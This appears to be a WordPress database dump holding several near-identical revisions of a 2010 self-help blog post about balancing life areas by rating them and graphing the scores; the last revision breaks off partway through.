(851, 2, '2010-06-07 10:54:50', '2010-06-07 17:54:50', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="491" height="425" />\r\n<h6>Part 1 of a 2-Part Series</h6>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it.  I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused only on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n- Financial\r\n- Family\r\n- Personal Relationships\r\n- Health\r\n- Avocation\r\n- Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignleft size-full wp-image-846" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example below) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too. Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now paying closer attention</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.  Living in balance is a daily activity, created by the choices you make in each and every moment.\r\n\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and life success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks', 0, '', 'inherit', 'open', 'open', '', '845-revision-4', '', '', '2010-06-07 10:54:50', '2010-06-07 17:54:50', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision-4/', 0, 'revision', '', 0),
(852, 2, '2010-06-07 11:04:00', '2010-06-07 18:04:00', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="491" height="425" />\r\n<h6>Part 1 of a 2-Part Series</h6>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it.  I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused only on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n- Financial\r\n- Family\r\n- Personal Relationships\r\n- Health\r\n- Avocation\r\n- Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignright size-full wp-image-850" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction1.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example below) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too. Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now paying closer attention</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.  Living in balance is a daily activity, created by the choices you make in each and every moment.\r\n\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and life success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks', 0, '', 'inherit', 'open', 'open', '', '845-revision-5', '', '', '2010-06-07 11:04:00', '2010-06-07 18:04:00', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision-5/', 0, 'revision', '', 0),
(853, 2, '2010-06-07 11:08:03', '2010-06-07 18:08:03', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="491" height="425" />\r\n<h6>Part 1 of a 2-Part Series</h6>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it.  I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused only on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n- Financial\r\n- Family\r\n- Personal Relationships\r\n- Health\r\n- Avocation\r\n- Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignright size-full wp-image-850" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction1.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too! Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now paying closer attention</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.\r\n<h2><span style="color: #808080;">Living in balance is a daily activity, created by the choices you make in each and every moment.</span></h2>\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and financial success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks', 0, '', 'inherit', 'open', 'open', '', '845-revision-6', '', '', '2010-06-07 11:08:03', '2010-06-07 18:08:03', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision-6/', 0, 'revision', '', 0),
(854, 2, '2010-06-07 11:13:04', '2010-06-07 18:13:04', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="491" height="425" />\r\n<h5>Part 1 of a 2-Part Series</h5>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it.  I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused only on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n-  Financial\r\n-  Family\r\n-  Personal Relationships\r\n-  Health\r\n-  Avocation\r\n-  Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignright size-full wp-image-850" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction1.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too! Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now paying closer attention</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.\r\n<h2><span style="color: #808080;">Living in balance is a daily activity, created by the choices you make in each and every moment.</span></h2>\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and financial success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks', 0, '', 'inherit', 'open', 'open', '', '845-revision-7', '', '', '2010-06-07 11:13:04', '2010-06-07 18:13:04', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision-7/', 0, 'revision', '', 0),
(855, 2, '2010-06-07 11:22:29', '2010-06-07 18:22:29', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="491" height="425" />\r\n<h5>Part 1 of a 2-Part Series</h5>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes your focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it. I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can sometimes seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused solely on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your level of satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n-  Financial\r\n-  Family\r\n-  Personal Relationships\r\n-  Health\r\n-  Avocation\r\n-  Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignright size-full wp-image-850" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction1.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too! Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now pay closer attention.</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.\r\n<h2><span style="color: #808080;">Living in balance is a daily activity, created by the choices you make in each and every moment.</span></h2>\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and financial success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks', 0, '', 'inherit', 'open', 'open', '', '845-revision-8', '', '', '2010-06-07 11:22:29', '2010-06-07 18:22:29', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision-8/', 0, 'revision', '', 0),
(856, 2, '2010-06-07 11:23:06', '2010-06-07 18:23:06', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="491" height="425" />\r\n<h5>Part 1 of a 2-Part Series</h5>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes your focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it. I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can sometimes seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused solely on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your level of satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n-  Financial\r\n-  Family\r\n-  Personal Relationships\r\n-  Health\r\n-  Avocation\r\n-  Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignright size-full wp-image-850" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction1.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too! Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now pay closer attention.</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.\r\n<h2><span style="color: #808080;">Living in balance is a daily activity, created by the choices you make in each and every moment.</span></h2>\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and financial success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks (Part One)', 0, '', 'inherit', 'open', 'open', '', '845-revision-9', '', '', '2010-06-07 11:23:06', '2010-06-07 18:23:06', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision-9/', 0, 'revision', '', 0);
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(857, 2, '2010-12-27 16:06:53', '2010-12-27 23:06:53', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="442" height="383" />\r\n<h2>Part 1 of a 2-Part Series</h2>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes your focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it. I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can sometimes seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused solely on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your level of satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n-  Financial\r\n-  Family\r\n-  Personal Relationships\r\n-  Health\r\n-  Avocation\r\n-  Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignright size-full wp-image-850" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction1.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too! Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now pay closer attention.</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.\r\n<h2><span style="color: #808080;">Living in balance is a daily activity, created by the choices you make in each and every moment.</span></h2>\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and financial success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '845-autosave', '', '', '2010-12-27 16:06:53', '2010-12-27 23:06:53', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-autosave/', 0, 'revision', '', 0),
(858, 2, '2010-06-07 11:23:36', '2010-06-07 18:23:36', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="491" height="425" />\r\n<h5>Part 1 of a 2-Part Series</h5>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes your focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it. I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can sometimes seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused solely on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your level of satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n-  Financial\r\n-  